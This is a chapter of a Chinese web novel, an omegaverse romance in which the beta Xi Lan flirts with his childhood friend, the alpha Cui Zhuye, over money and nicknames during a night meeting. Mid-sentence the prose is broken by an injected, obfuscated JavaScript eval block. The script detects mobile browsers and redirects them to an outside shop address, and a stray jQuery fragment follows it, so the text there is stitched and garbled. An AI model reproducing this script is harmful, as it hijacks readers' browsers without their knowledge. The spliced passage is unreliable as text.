6.
“怎么不接老公的电话?”
alpha的声音低沉懒散,却有种在兴师问罪的味儿。
“竹哥,我应该不会被赶出家门了。”席蓝想了想说。
他把今天发生的事都告诉给了崔逐野,但其实崔逐野早就全知道了。
权贵之间各种消息的流通速度极快,席父席母那番解释只能搪塞一下普通民众,真相究竟是什么豪门各家心知肚明。
“不过我还得继续还债,我欠的钱好多。”席蓝很有忧患意识,“而且还完债我还得存点钱,万一以后还是被赶走了呢?没钱只能去贫民窟给alpha当玩具,那我肯定一两天就死掉了。”
席赫这么强大,还是个alpha,在贫民窟都被能别人打得满身是伤。
他一个普普通通的beta,如果去了贫民窟,那迎接他的必定是先煎后杀的悲惨命运。
席蓝要扼住命运的咽喉!
所以他想趁自己还年轻力壮,是十八岁血气方刚的年纪,打算咬一咬牙再出卖下灵魂,把早上崔逐野扣掉的五万赚回来:“老公~我早上没有发挥好,求求你再给我一次机会吧。”
怕崔逐野不同意,席蓝都开口喊他老公了。
席蓝想:崔逐野一个单身这么久的人,怎么可能抵得住这样的诱惑呢?
崔逐野又不像自己,如果有人喊自己老公,席蓝是绝对不会上当的。
毕竟他从小到大,一直都有很多人喜欢,什么“漂亮宝贝”、“亲亲老婆”的称呼更是听出茧子了,自己要是想脱单,那上赶着给他当对象的人肯定能排队排到河外星系去。
崔逐野就不一样了,他很可怜的,都没人愿意叫他“宝贝老婆”。
以前他们俩在同一所学校念书时,崔逐野每每听见别人这么叫他,就会羡慕到脸色发绿,甚至比自己的眼珠子还绿。
席蓝就只好哄崔逐野说:“竹哥,你不用羡慕我,我有很多人叫我‘宝贝老婆’的!现在我分你十个,你要快点开心起来哦~”
然后席蓝就创了个群,把那十个人和崔逐野一起拉进来商量,让他们不要只这么叫自己,如果非要叫他“宝贝老婆”的话,最好连崔逐野一起叫,因为崔逐野是他最好的竹马发小,这样才公平嘛!
这本来可以是个三赢的局面,他们都能拥有光明的未来和共同的老婆。
结果那十个人却都不愿意叫崔逐野宝贝老婆,而崔逐野大概也由于久久得不到公平的对待,都羡慕到变态了,揣着得不到就毁掉的心思,把那群人狠狠揍了几顿,几乎是见一次揍一次,搞得席蓝此后也没人敢叫他宝贝老婆了。
如今席蓝回忆起过往,心中感慨万千,但最更多的是庆幸——庆幸崔逐野是和他从小一起玩到大的竹马,感情深厚,再怎么变态,也不会狠狠揍他。
而兜兜转转那么多年过去,他还是没人叫他宝贝老婆,崔逐野却有人叫老公了,听到还不得乐疯?
这不?
崔逐野果然中计了,他笑着说:“行了行了,别撒娇了,那老公不去找你了,你过来。”
还讲出了许多外国经典影视剧里,女主暗示男主的那句台词:“我爸妈今晚不在家。”
席蓝立刻穿上拖鞋往外跑:“来啦来啦~”
崔逐野蹲在后花园小栅栏门那等他,口中咬着的半截烟仿佛星火一闪一烁,听见动静,他转过头来看席蓝。
夜色浓郁,四周光线昏暗。
留着半扎狼尾发型的alpha如一匹狩猎中的孤狼,看到猎物出现在自己视线中时,他便勾着唇站起,高大身躯所投下的阴影比夜色更为晦暗。
席蓝却一无所查,踏入那片幽幽阴影,翕动鼻翼在崔逐野身上嗅了嗅,好奇道:“竹哥,这种烟的气味是不是很像你的信息素啊?我妈说你的信息素味儿呛人。”
“对,是有点像。”崔逐野的嗓音比电话里要哑一些。
他望着席蓝像只真的小狗在自己身上努力嗅半天,用beta那可怜干瘪的腺体在努力捕捉自己的信息素,便把嘴里的烟取下,夹在指间,递到席蓝唇边问:“来一口?”
崔逐野抽的烟不是普通的烟,是一种高浓缩镇定合成烟,对身体害处不大,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781380|210107||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还能抑制易感期alpha的烦躁感。
席蓝摇头:“不要,我又没有易感期,你自己抽吧。”
崔逐野却没再抽烟了,反而俯下身体,也在他身上嗅了嗅,接着皱起眉头,嗓音一沉,寒声质问:“你身上是什么味儿?”
席蓝揪起自己的睡衣领口仔细闻,只闻到一股淡淡的药酒味,以为是之前帮席赫涂药时留下的:“药味吧?我刚刚去给哥哥送药了。”
“哥哥?”崔逐野的断眉挑高,“你哥哥挺多啊。”
席蓝说:“没有呀,我就一个席赫哥哥。”
崔逐野点点头:“行,那你以后别叫我‘竹哥’了。”
席蓝不解:“为什么啊,竹哥?”
“你说的,你就一个哥。”崔逐野捏住席蓝的脸,把他捏成个小鸡嘴,“以后只准叫我老公。”
于是席蓝说话唔唔囔囔的:“不行……如果被别人听见、传到你爸妈耳朵里怎么办?”
他对崔逐野招招手,让崔逐野把耳朵凑过来,自己则压低声音,像说密语那样悄悄道:“我还没有怀上你的孩子,我们会被拆散的!我不想和你分开呀。”
崔逐野闻言重新笑了,松开手放过席蓝,但他还在挑席蓝的刺儿:“这也不行,那也不行的,你又只有一个哥,叫了席那什么哥,那该叫我什么?”
“崔逐野啊。”席蓝理所应当地说,“你有名字的,又不是没有。”
就算崔逐野没有名字,问题也不大。
毕竟他也上过学认识字啊,他给崔逐野取一个名儿就行,只怕崔逐野爸妈不同意。
崔逐野的笑变成了冷笑:“所以你要连名带姓的叫我,是吗?”
席蓝听出崔逐野貌似不太满意,火速改口了,哄他:“那我以后叫你竹弟吧。”
崔逐野:“……”
“我要扣钱了,把那五万也还给我。”崔逐野去摸席蓝的腰,动作像是在掏钱。
可席蓝睡衣上都没兜,他也没把手机带出来,崔逐野没法抢他手机转账,席蓝却仍然被吓住了,不明白怎么钱没赚到,反而要赔钱了呢?